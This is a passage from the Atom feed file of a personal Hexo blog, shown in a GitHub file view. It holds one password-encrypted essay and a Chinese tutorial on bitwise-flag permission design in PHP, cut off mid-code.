-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathatom.xml
More file actions
553 lines (285 loc) · 431 KB
/
atom.xml
File metadata and controls
553 lines (285 loc) · 431 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>Lihq - Blog</title>
<icon>https://www.gravatar.com/avatar/9f06b6f816ad2394dbdb9a2d0282794c</icon>
<subtitle>Lihq</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="https://blog.lihq.xyz/"/>
<updated>2025-09-18T07:56:12.968Z</updated>
<id>https://blog.lihq.xyz/</id>
<author>
<name>Lihq</name>
<email>lihqing1403@gmail.com</email>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>随笔</title>
<link href="https://blog.lihq.xyz/2023/07/29/informal-essay/"/>
<id>https://blog.lihq.xyz/2023/07/29/informal-essay/</id>
<published>2023-07-28T19:30:00.000Z</published>
<updated>2025-09-18T07:56:12.968Z</updated>
<content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look."> <script id="hbeData" type="hbeData" data-hmacdigest="0b14c2c3a435fc48818623db6a7dead7e7350db540c36341d5f847969dca7317">06bbc2702bb35227cef37599aeb0d7f106b56a852baf7a205eea33945984752f092999ae4345e71cd1272cff3eece3cde57c01cd3975637338d2a964cb08c0bbbf865f1a9f5eaf9725cc22b74de54d15792e186967df82f3480cd041d7b330132237a81a739e530c3e44aedcf775ce29c6e0bb56aac6bc759e3efe0148e78c713c81caf1762d1d634826e1034642bc7a560c9323f4b0f7a5485d1d38c735f52a61bda7a44be0ac805df59c93a15f221debecb26ed46d9785e6202e1fe701c1f70bb9f7ade3a26c0cb03f53a86b7a384d7cf723c10955ad3b8df1abf1edbf5de9886f42ec7b477e592a091f3873f13e55045135c8df6f7f6424fa5fffbb62b0314cc05248c75c7f65b043d0101cd398b2ce340cdb971cd865bd2a02c90bb8dcd91d43294d2d68804641db77c06c49035cedf0a80bb2d0c07c209676b53ff25b0e9ed400bf65678109d384430d2311e401360a2a5313cee07d37f535a9c390930a508e3331aa529c45ffbacb0ad66b6d7c0894958e4818518bfb6c6ae819080e79b6a0a7b7bd282f6740beddd7b019e39c431ef767c36f07484ae194d124ba21442254b947ece5903ce34ed557f3bd21a298b4e3adfc33427a4ab554e4f800a5144f49cc4166966eac33365480d3ecee241e4f2c6c2c2085371e006bd3e62518d167737be175afb648de091fb4db09213b8dc2feafb54f134ab2e7cc970b0a7889be3e8caae33fad0cd21fb92f7649907495842806c385d758baeec1d8f6458b5a5d183b6032150e4647c4078ec773e4d0b7293570175360a5d9b4125faa20f5402e23f5d7c4e8be9fd25d28b5c8c98c9aa4a888ed4da392b3e80c2b610bd27fadbc965c0c2ca1c9cd93eb1a9476fb19109eab21b508eecd21e576460f9597a77b145a2cf24bfe580d23a3c36ca5c31265d5fca1a21bcba435a05e05ea8cdde631f303a532f8e200503334b50f9949593724139646cc2446e5fb68e9b46d83af731fc423cd7d869c9264171e79ca0d18fff659c3e29d5907e7e2e8618965ad1ded282a447a41b46be40cfa0b34ff392e279cc1281c3b602cb5d95bd753d42228c6f680a452ad64a1967dda9da705ef877842ab24f88f965735f0bd5db092fdb5e1b439dfad4850aad51f1f7ffeb70a802c3f4c5ae02d06e2d5f2f2464bed11bc2905d1f639344b68e9aa0433853101ac9273c615a10e4174674fe92d20dbf3886f38bb1b86338a82bfb60b47d6ca772186d28115e507c0c457b9b5311ffc60d168049775f0c7300e241ec3dd62bb2b3731b79a5495a09bd8cccad3230563b1975abb527558769e38596848f6b616f824565b6a9a419cbc26c2af648dca5f77fd6eca1623d6d79795ae84e78ac58b96c066da890f6d3eb2f52462e51195b0e55f5ed09b938149fd61ee59dd2bd970e4576fdce54fbccf09311e9af417ae06f5411657ce79064a6c9eaf035f2e7648b6dad42571c6b36303e173f42ae30c67aa8583098e25d71cf1d65af53f20c86313b924dbc55d1c0a1e8df1ccea5969a29cec9ba52ccbba2647c8f943390f352d8f673365df86759f87e6eee72e532d6ebf3c1a5f5baa7eac3364cfab76eedbaab9450db066b7a33c03ee29c3146fe2d8af0f999d6d3abac0475dff1206e12bae50ea656bae186094103734f7736893767db3d196a2264263d59c7b752cf617de9304d452c8964f4d094c37eb6ab12f6a04adecf571d9b64d3a0d860d8a01ebece209b9f1fc4d2ed3b5f332f4aeda7cfeafb6e6455ec8643245d861b27b9524e9fca7e9a4b58ddbed5c1cd41c92ac05c389680ca291e2db1b3455e12a902e0ebf2c277b2e3157bc833262d8dda46decda9aeebf7cd7c9c254ed76c897f23682b8c164447f31fca460e50d9e8a3278f8c7d4387921a443e1f4ffc4be75e5584b81e2cc2d19e3e7454cf0ac91d765dabba7d9484835b9a3eb5de63f15e8a34f6efdb702b68d8c7fab0365ec3fb218792742b19f84c98516e9dc40ae746935735a00fac50259c26817d89529227bf0ae627050914403fde51ab62c512256b300a61e6a65fb891366e07b40a632661a6e61d593831eac7866e505b6279b5956e8615bad9859d49176f348d04af3887cfed7a65325cdea6d6e29108863f8e2ad547c3a30427e85656b5025299b341d871040727fd27cf2bbca54393c2c196795cb7255cd682939070be40d3f38887aed7005dab853140149d30c1de4f5ea22fb80336da8ace053ac16eab86519dc1c7d3b3cbf45000a16be22f186a6e6a3eaf2695c6c0047aa4e697f18b944e10bcfa621bdcd0cb4301aca007cbf8f93e3c9a320a1b00f1709d19fe39a333c3d2cfd457339667cdfc86cbd5215a32e05026950c7867453f64b8c4dee3f4dea0973d3a3f63bc5f88b73b4df4708aa39d909b677e24e1a674f2401cccd1ddf5c9433d8d410ad9a612504ce8bdf86a16a4b54c99d0626563bf3b064dc2d928628d55043d6a863b8b2db0ff6d7ae377e427f23109fb04d191629fcfca07cf334b3817703ee2f71c9401f2f657cea811a9043af49f878ef1a8d034c15b421c8ac801f3058af919b6e103f529d8c33c28540b1e2f6ad8ea43e583ab44d9007456370834d27cc4af7628d6c59326b2a88b9fb882fd6971c3fecf969f5e44d40a21178ceff9ac6060392d5b13a3865376782054154baabecee2f11d174dccd8854c80d7012472030a3b3b79a50b5e2164f2219c172d3199afe75544dcd92d2c749eca0ff67bb6adc77afde062705aa97cd2351b88fb7f651522681dd7b865fb6dbc048a4331cf396c2ff38c8824fcebe93c57e7fad474ae564d0846e5d74381b4dc43a3710eb4e2f1dabd426392c27c5c6336aba45a2895cd6252c105a6239b1e7797561d7226a9f4adae2e0831f91c8c2cdc754e8836baffe4beecccf4de0c3f9a5c6e12806147aa1267ee5b1d277a9920de3c5d248cab72b759c095b467aa078f7ea49a599445d2d86eee54935be5755afbd1578008ceda967e5660077ea9022ce7b4c1ebea92030f4d5e2c9c77338094b4fe468ca0d31db3eb829cb4b38dc6e9ba1788aa11c1806327793d881fa6a68b8cb1d38f5c2f5f819f8321876788d1bbaba304ad98de8d6cb777100af24ee1c39e63e65e220d35c441890dbfd507c2d90f7278a6f4993823b4036555d4a97eb4a9c335b458325c762e6e247c7515efe7193b0e187f1a3437ee89e09e015ea354bd88757d16f1e82cfed35bf60bd0261708b8dc1b3b794786d2b66b17106a77c6286eaa638c5074c9e65837250adebabd8ee703911fe8d83a475b86ee8f9d26bf3887d6525f26996e74e0a9c029f36035509b5f42fbbeb338a520d8bc0ad48b6e0a646efb5e6ff8d4fe2ca3cb6afbbca68ee3f51a0c8a3a7cc185435b0efdae9b245051423a46ce76e6907b2126168eca5f155547501d90bb6d16f17902c6238aaf09926308abab91fd0a681ea75d43fdb68be83ee39e7f7a62f9a2adf5ca8f15c6f627998575d50fc70c6f172c75d7d85f50d44ed680b6ee70863580b3cf22bcae6341cffe00c3834afe63a9e7474ee37fb51e33efb4ed840bd5d972c98043b14b60c909253cf048c0a290b6c89bde73d537f71a8170c08f8e17b0713ea7732f316861ce19f72c9de585a1237013c3130ef13ffbc94a7ef3d2e33a7604611fdab386a0bdb42f86b1bc6ba714e6553a5294cbb7fdd0732ee2c68976530b0ea6cc19d711309fecddcddf0006351b469b44c9ea6c2774299b76766bb1ab15fe3d35cd9d01598ec08eb656003f887b1850aac39c758802c8475d66d50294a16e8d15ee5117a658511bc30faf0720e3e523000fe8ee66b81828cf0cc43616d8d2a918dc815313b2476ddce103940033f31a9ad63574cbf888064e28845e6a2a61c9d6bf4cd114234a58fce5f38be9f68db40c176bef715af2077502e161d464daec7eea5c4699d7eb6cb36df50d07502feeec0fa1d2751293546cd65092c99821ce8a5fbad978090ffdcf0acddd7669f34ac497cba59b22b76eee16e860803d53445b6f985f141ff0b92f3e7d09c6e3de1e43f1ab97096057004b514d238fdbc9d3bdf8014d603df7cdaaf706527b5ac28baa9953cee50140ba5adf5e11ae7fb2bc97923b2f02c07e2136af453adff84261fa3caafa7d83005f309b50b739d1e5ccb14eff8e3e4d6f04b0e0fad2240090be539f23e596fe3fccfd541c912c5ba6f0d6ec6494767bde720114a2c8f998026622582b22fd810a417b7d8bd0dcdc3129372f339e5d4906dfd096e1e6ac71fc6111ca8de9824fbdbb21c4064fa3d60c29af78b542f8eaba23da091ebd3ebca2d492c96cc3ad2de556a3d49cdca8e2d9ae750482cd0302aa1bdce56c729404d030facecdd025419c73a179ebf247ea605c4553e09f6b3d3fbd8f5693458134c5a033fcec7f9ef09d068256f20a4ca88bb2e67fd4036d7bfb65da180e4a5cd83aed13177a460013e8a788036e1eb3847c77bd4e604b1c6b90c8dfaec98931fde0b8790e52394e5f45268262425e0e517bba4ea2951565d5d52bb708bdd1e5598213159639ff59f34bf3dae2e1657e77c4b053e95eea66c3652371660ab0cd32746c85f558c944737d7f3d9d64dc2fc6bf788c70c6a978cd168d00a1d2eb485fd13d26a7bb9768b420547fa6beaffe46d9741932375fe3a223ca11564397e76df56b24c95230cdf58aa22470127dc2616f358a7fd3b55588cc095581837753cb4e05d9da52e99874ec963a1c6358d3cb06f2efb0409ccae34dceab67eeb33257f937aed9d9f089bd08de2ffe9eb390c21c438e988c0eaff95855b2aabcb358de499a060b136912be381c4fbe321a0814270a13dbcb0b124d1f8f8bcef0023c134c92fc9291425a3095bdf4f5755877b004e4883e49744b4b6a5fc9afa472887d600602ecbf5d6c1fd369c7ac6727e3ca466e5eaf30fb69af17fa870a7f23b8f76f5f8368a73cba34f6846f39b7f7e4d036122c73a1ffe95cd208ea2f328ef526d20936e7f74ef52bfabab6c2178ad32be84216582cea90711f40d9838e6e84d1f66b6a70edb53ad6e69e5d83fa254b8147ee1a15b677813a8b68e3a4cd8e7b71738d2ae108005f211d5af412f07f791cabe067b5a00a9e4999ee4ae1d21dfd6e34d4eb9fe8fd035916d7046c56439a4aa8bf29265e20d77c420564a2f0a1bac792f1cd69e875937c0c6b7b290d74e41182362b9e7e482e1cdbbac63a9ad234f50e2ef9c6ee8b2a9409efd474bc86b670775c6efb3de79cfc2f99dfda5ab09a9f7ffb0a6b92e63031f9a324353b29664bd9289f453fe256d744f19883b397fee3992e08580f5da3227d7d70065d7eb72b1df2fa39b093deac0c96d8cd96ae9707dc8ba3b20a485d5c6d23c0b5e0e81c6990a7c05c6f7da496f3b5180a9537de1ec921ef11fe262d7caab02672fcd5d6352681a866738756268c224a1dade6ae10a773947aeb9a9bdc5a9a3b07f4b4f5a352cc6f2a176dfdeaace55dbb7f8a5c75270a02e41d5050eb26224bbbd4cd634a6cea1f69f74afbdbfe0e3fc46933cbf13d90a106e4ed283857797f2cfe86944ecfc9fdef030608ddb13ec3534ef79c0e9ccc05649bdf25833fca7ca9490ecaa8e3f87363a0e65cc9427412b76b7e8a9550ca61c6aa2573d1b4eb35ddc4e2a1e4a375fe638f0a4876e482bfd86fa853d5b5d67245666660b8db6d28104ad22f9ba12101ff23d4f6dad4365888b76fa5bf885db895b93f4db9e8e83d59451451277f9a8860a9e06b17918818577615d25bb02a1c4d3e2ee8dbe334021b3fe48fe83bc8f36b7aee0f9dc45b6d14014721370f941df85f04b2fcad0b16a67af832cc44b64ce6dd73721806f96326ef08db68464ac818442d176ebf2281945207edfbecdedbd45bc3a8eac9aae3c86b608a2140877d6f77d3c24852fa49a92c4f64d824c8c8035f706c23275c0d58e624575fcdef2c028c5c62caddea26cefd9f205cf6b10f4a43abbed4147f43ef82abae5a14fb360054b559ffd3ad28d1364f3dbf87df3ef4c518076e45ff21715a849d96c755da76442529785361dbcda810a1832b0e0bb70abe2a2825d1e62eee64fefcda4aa448e3c080f2b781142e1072c6703bbe706a0a8c1fe7a2e5abf2aa89c577e88c6f500fb9a96e020a208a17ac24bf5438625d5148842e272da61ce2b534da3aa0619b46eaf0f23dbbdaed4e09a31625ce9771a1d33b467dc8d65c2ade7bf9aaf351a215e66ce64c2d9e7768c8a156d6ebcd8efe55db46328717457121d2da63c0a1001e55305183e2efd98d770a2d1034b0751b3cc19d0f1c52125fef412b96aa48b2dff0bd3bbcde965bf54580635bdc63e678105598b26a5bc64347675e69fc21832beecefe38909b3e34769d8753543e81600885fc5de5699600cc24c7cf8899a5cf14ff9117f1b031f38803abc4c115ebe90d06589b594f373cb023446cd520e11661b1535de9fa12bcf08a2e3b0e96ff3ab5c4e3eb2e6f76c0746796204c292048b3d26959478d5b3fcbb8080963be4ddfb8100a52a3f6e7730e5aad1c657d45dfe12c4116efb519a3b89d0901e3078e6708f091bd596db751f97af4003f591b1abe06015f75e6c2b279d7031ae5301c1173bbc6f2260476befe06c9aa9cb123780d498822ab9e42d9d7454709fc2cbd5c1a4a54c97dd30082d82f6e91453921be725bd16dae7396fd6ed5bc2157284f0d3ae41715e6b98170e10c226bc31c65443eb809e636d1836932a247c3e21be4627b9be79646d74c3de9e506c3d9400d3992e1f50790d6cec7378d487a6c5410cf424ed3b18d7d13978223ad04ada4ca0ab2283cfb6c10fd616752996b1ccb6718073cb6836b8ef99c968c8f009db8d2ec4b9a13e90b3776b1700b1934f974d8ba17f9dec9a86665ec8baf72a6b31aa9b8adbfce1e6dac2a6c4bcb2f5416bd14d917ce2a2a11fce10e36e763cc8fa4cf927f4f1e84437240001d4f56aa80370f2c82c7443bdc1a97941d79aef6cf1c6548571dcc8145b3b7a52034bbdca25dc7b243c9d55aecb9ebc0829dc99f95e4b18adc27c24e2f7b3463a47924fe8e67bd8828b90772793f3253611a218cc8214e64d3e7fcbeb182bdcb268c394f1d1cb32218e61739377c79359dcba4c1f1e043bb57fcba5b16b795b41d1b363094411fc2c15e02c3814d23c0c8e5fefcdfb25c02b1afb0095eab07bf74ba43c1cd74b75685df2f8d25ac81b656022e4e4016625e5917a12297cafe4e08bceeee184428e111a20915a29befba6094fdac4868c5534f9ebefa13b6753e4e912aab989966e745416e38097728d1521fba411213465711ef0eee7c539b26af80f0c419ad0ff937907fae1bbcc27fd73ce84c401930461f4e6c0629d0d0aceea84eb8752a634db1a1b387912b3625d133b8d558e7e299113a1c9db03991e938512d6e94330aeb885e1202ed80a340cfb163d01eecc6f9877ea18ec040e1ea91a9305900116d0d871da22590f351fbbc54bce123cc97047ee6f5bd2ca2511e29b6a130034c5e2d292dfe06428c0c9e1a0f58bf48eb1f7a2e6894c7430f91af97c5ff4fb4ce6dd9a3ff2abc819f14d2137fb78776b441e67ad0cb390ee37cb1affcaa0ec2c3d43ac01af447fab5d0a03c306121d4cb6c568785d48b60c746526dbe62d249eb28836b0f6978283949d61f74fb479c9b508f4dcc8e2a40f0b569faa83d69c630fd8b246f85bc9467854bdd44a26b7b3937e726c00a8298829022392f178a477e9223f8559a3581eca1b607c2c0d33584223a569a9ef75552a23c05e0130e1e47249db3be1185b21c83f904bf7143b25be0ea90894e4a1a246701fcb36867d594ec8972ee7e0c6288bb6438b6a69297c3e7126ab1bfb66fc9d8965312406e16c25832c9ca842eec75c3b00110e4d154a940b8875b22277be1dd066d301674f3b48db7a22a9a3a7392dc6492f1ce8e948e2bbb97050f87da2a304be8732c652f0c24283c4b44cc55eae49eb8f488965da412a0bf9ab5f18b31b27faf089918dea09735687793514ce83fc77091c10c8b1054bed92b07e614592c3f2ca9278199128195ce86717cb647e28fe9674c306e1182c9f819c68cd4b90122d3c0d2bee38144b8af09e76c8e3be1d768f2bd915982d6cc482aad94ba67b2a1c9d9335d94e31812a6b2a1036a81aae3ced04d3f41f79fab75f19c92432585099badf75f12e864b2a3a22fbe9b1abf9aa1745cf24cab49c809afd945f429fe37b7dcc58c53e045f83dd3d5099e1cb2621a18fe660cf2994d5b78f81eca484c97ce37b229796ab979181dbed0222573824f4f89d0853597720883e30b547277997c0cb356fbbfea64b71cbcfb234341278458bde08660d213826db97e483324040ad354f85f52c8bffc56f5f746ddcfde0e74525b1489103998a5c3c2be59a6e3877d5f2125ead40937b88f3ba151de4bce97dec5f2401ec6bbf2f5b19e0430601cc439848da7fa97260fda9f49b148c75986d77829c6fd1f875f1fb994d4a2491c449df9ab0cdbd070b1e7a6b073958eabfe5afced0345b430a1b7b4eeded10c765df11940bffc8ad8b81b39a0c3fc247bb1ca6847479dcc779b7fa37702b56ff798f7d7e1544415ecdb1cff40ec1be640bec70ee1194fd38fce5b93ec550cb3c36659ff7ab780e48ff69417e4947dcd4a21739b9b23af14cc75310cedc68e5adf33fc00355de7851b1b1dc13f922331ef41f94de8b8d102414735902c5f10b1645ec3a6eb1f87a99e73d088ab09ff04bf1e05281614489864ba35a309ebe69640798f16924b18b8f2d5e860a6e8d3ee2bcb3fcb2d8a8b9c3ff80c2fd6c7f211c9e5e2d5385a96b9560e793fd6e11f6fa804e4a251bb8983bdafd7ba1bba48d4583bfba8cdcfdad40906d1d31d67fad7c55a47adbe963029dfcd5c08852433671bf0a6ed76fb326620357a093ce7da17fca3699dfd9f4ebe6052abbf136f6c599da42860aeec8420e7c53021cb048f2921b740ac3e612a787fb922c0770ce9bcefe7c44c4c38e2776a05b0b645d11991fc39c470a064309c30bcf9d55b397fb190382279637d08bc9f9c5ce407e5e2aede87164ae598ab06451e69f01e1510fbf19e78f22fb84bc926b70523ed78e6150cb1cf6d735e7ea03e243314f1a8cd4a7e89245afb9d7479615943b0c406b06b077a737ba3ea2f0ee2a617571c2114da21f677075fb1823a148d115b6623794b2c59003589bd257ff59fcc106ff6a3d74e61d5575aad173ef21a2119d17a3f38d42d1b6eb70017b25b7570038378d48c39ce512f3dbd5bbe91d878f736ab1af1c8c776539e4f074fdf4ca127e562e107281d3e88c1728897ab54caf4f1bf910a577d91da7c2fe09c392a666b22679114c3f85531aec64e24a525039b792fca4bcf457557ef7e41e1ea06fa62243e07e83c5051451bfbab6acc0fc6d3fc111069ed160701d3702610684b77c144b028865998d5a26dcb3e85701857147dcd830881ee47984f5ef5d56d253ea63ad2f0bc11a4c5c2a17b39e9bf6b2a1950125c50f5e4503e30da97cdf48f713c432e48a483c123052cd463af0170f3254bbcc24942020c5d285e5efd2bb85e105a1562424f86430d6dad58579ef9c4eb18ce2d8fb6c9b92c05504bc732e63fe0a9dd4ff04ae91c12fd3c5e7db8b6fc154e69c893615a1dd836d6b3457f7b902e56e287684f0c8985eaaab98e8f739d65e346da7bceed54a95b00f6e99607118c1c4bbcb79687ac29a5bff7c8ffc49735cc3b4f9188f5e711f4266abab593856b96ea21a4c4ebb2a8a8ed4aa01bd41011e64e044404dd71913cc9364a8088ccbbd3e7cbe93c899966823f932df8bc6ff35f1456ca7705a8567070e74ae89b47e5266e0d11d557916b756d919be8c408051b2ffb7529ccce098381cae385bce09bfd51e764d37805d53c461494cde8c516c33d33dba4b0b70cdeeb627553c55b38573e2e57e0f2651dc75e951e26591e2097c0c405f9ae30f2db38f93941faf5926045081fe2f</script> <div class="hbe hbe-content"> <div class="hbe hbe-input hbe-input-default"> <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass"> <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass"> <span class="hbe hbe-input-label-content hbe-input-label-content-default">Hey, password is required here.</span> </label> </div> </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
<summary type="html">
Here's something encrypted, password is required to continue reading.
</summary>
<category term="闲聊" scheme="https://blog.lihq.xyz/categories/%E9%97%B2%E8%81%8A/"/>
<category term="life" scheme="https://blog.lihq.xyz/tags/life/"/>
</entry>
<entry>
<title>权限设计小技巧 - 位运算</title>
<link href="https://blog.lihq.xyz/2023/04/22/tips-for-permission-design-bitwise-operations/"/>
<id>https://blog.lihq.xyz/2023/04/22/tips-for-permission-design-bitwise-operations/</id>
<published>2023-04-22T07:00:00.000Z</published>
<updated>2025-09-18T07:56:12.968Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="权限设计小技巧-位运算"><a href="#权限设计小技巧-位运算" class="headerlink" title="权限设计小技巧 - 位运算"></a>权限设计小技巧 - 位运算</h1><blockquote><p>我们在Linux系统中,最常见的文件权限,就是124了吧,777是不是看的很多,哈哈哈哈</p></blockquote><p>那么如果在一个系统中,权限是区域固定的,是否也可以用这种模式呢</p><p>其实原理就是采用了二进制的位运算,通过1、2、4就能表示7以内的所有数字,通过十进制会发现如果要添加一个权限,是要思考很久的,但是转换为</p><h2 id="那几个位运算"><a href="#那几个位运算" class="headerlink" title="那几个位运算"></a>那几个位运算</h2><blockquote><p><a href="https://www.php.net/manual/zh/language.operators.bitwise.php">https://www.php.net/manual/zh/language.operators.bitwise.php</a></p></blockquote><p>这里我们暂时只会用到</p><table><thead><tr><th>例子</th><th>名称</th><th>结果</th></tr></thead><tbody><tr><td>$a & $b</td><td>And(按位与)</td><td>将把 $a 和 $b 中都为 1 的位设为 1。</td></tr><tr><td>$a | $b</td><td>Or(按位或)</td><td>将把 $a 和 $b 中任何一个为 1 的位设为 1。</td></tr><tr><td>$a << $b</td><td>Shift left(左移)</td><td>将 $a 中的位向左移动 $b 次(每一次移动都表示“乘以 2”)。</td></tr></tbody></table><p>tips:这部分的计算,应该大家都会吧,不聊了,哈哈哈哈</p><h3 id="二进制的“与-amp-”和“或-”操作的简单解释。"><a href="#二进制的“与-amp-”和“或-”操作的简单解释。" class="headerlink" title="二进制的“与(&)”和“或( | )”操作的简单解释。"></a>二进制的“与(&)”和“或( | )”操作的简单解释。</h3><p>&操作</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"> A= 10001001</span><br><span class="line"> B= 10010000</span><br><span class="line">A&B结果是 10000000</span><br><span class="line"> A= 10001001</span><br><span class="line"> C= 10001000 </span><br><span class="line">A&C结果是 10001000</span><br></pre></td></tr></table></figure><p>| 操作</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"> A= 10001001</span><br><span class="line"> B= 10010000</span><br><span class="line">A|B结果是 10011001</span><br><span class="line"></span><br><span class="line"> A= 10001001</span><br><span class="line"> C= 10001000</span><br><span class="line">A|C结果是 10001001</span><br></pre></td></tr></table></figure><p>所以,我们可以这样利用二进制控制权限</p><ol><li>我们可以利用二进制的 “位” 来控制权限,一个 “位” 代表一个权限,位上为1代表用该权限,为0代表没有这个权限</li><li>然后利用二进制的 “或( | )”来给角色添加权限,利用二进制的 “与(&)” 操作来验证是否拥有某个权限。</li></ol><h2 id="示例"><a href="#示例" class="headerlink" title="示例"></a>示例</h2><p>如我们现在有3个权限(就用3位的二进制,左侧补0),先把二进制和十进制都表示出来</p><table><thead><tr><th>权限名称</th><th>二进制</th><th>十进制</th></tr></thead><tbody><tr><td>权限1</td><td>001</td><td>1</td></tr><tr><td>权限2</td><td>010</td><td>2</td></tr><tr><td>权限3</td><td>100</td><td>4</td></tr></tbody></table><p>写一个验证脚本.php看看</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">$list = [</span><br><span class="line"> 0b001=>'权限1',</span><br><span class="line"> 0b010=>'权限2',</span><br><span class="line"> 0b100=>'权限3',</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line">// 添加权限</span><br><span class="line">$b1 = 0b0001 | 0b0010;</span><br><span class="line">var_dump(dec2bin($b1)); // string(3) "011"</span><br><span class="line"></span><br><span class="line">// 检测权限</span><br><span class="line">var_dump(dec2bin($b1 & 0b001)); // string(3) "001"</span><br><span class="line">var_dump(dec2bin($b1 & 0b010)); // string(3) "010"</span><br><span class="line">var_dump(dec2bin($b1 & 0b100)); // string(3) "000"</span><br><span class="line"></span><br><span class="line">function dec2bin(int $num, $digit = 3): string</span><br><span class="line">{</span><br><span class="line"> return sprintf("%0{$digit}s", decbin($num));</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>可以看到</p><ul><li>通过“或( | )”来设置权限</li><li>通过 “与(&)”来验证权限,如果是0的话,代表无权限</li></ul><h3 id="思考一下"><a href="#思考一下" class="headerlink" title="思考一下"></a>思考一下</h3><p>扩展权限,完善功能</p><h4 id="如果现在有个权限十进制,如何反推有什么权限呢"><a href="#如果现在有个权限十进制,如何反推有什么权限呢" class="headerlink" title="如果现在有个权限十进制,如何反推有什么权限呢"></a>如果现在有个权限十进制,如何反推有什么权限呢</h4><p>如现在的权限数字是6,那么如何得到有什么权限呢</p><ol><li>先转换为二进制,就是110</li><li>在一开始设计权限的时候,从右到左就是权限1、权限2、权限3</li><li>那么这个110,就代表具有的权限有权限3、权限2</li></ol><h4 id="如果现在增加一个权限,那么十进制的数字是多少呢"><a href="#如果现在增加一个权限,那么十进制的数字是多少呢" class="headerlink" title="如果现在增加一个权限,那么十进制的数字是多少呢"></a>如果现在增加一个权限,那么十进制的数字是多少呢</h4><p>可以看到,我们用二进制的位来控制权限,那么增加1位就好了,也就是1000,换成十进制就是8,easy</p><table><thead><tr><th>权限名称</th><th>二进制</th><th>十进制</th></tr></thead><tbody><tr><td>权限1</td><td>0001</td><td>1</td></tr><tr><td>权限2</td><td>0010</td><td>2</td></tr><tr><td>权限3</td><td>0100</td><td>4</td></tr><tr><td>权限4</td><td>1000</td><td>8</td></tr></tbody></table><h2 id="或许"><a href="#或许" class="headerlink" title="或许"></a>或许</h2><p>这个我觉得可以不一定只是用作权限设计,也可以用到平时的状态上面,如一个打卡系统,状态如下,其中正常的场景直接用0来表示,那么位只会用到6位</p><p>使用左移来初始化权限数字,方便很多</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span 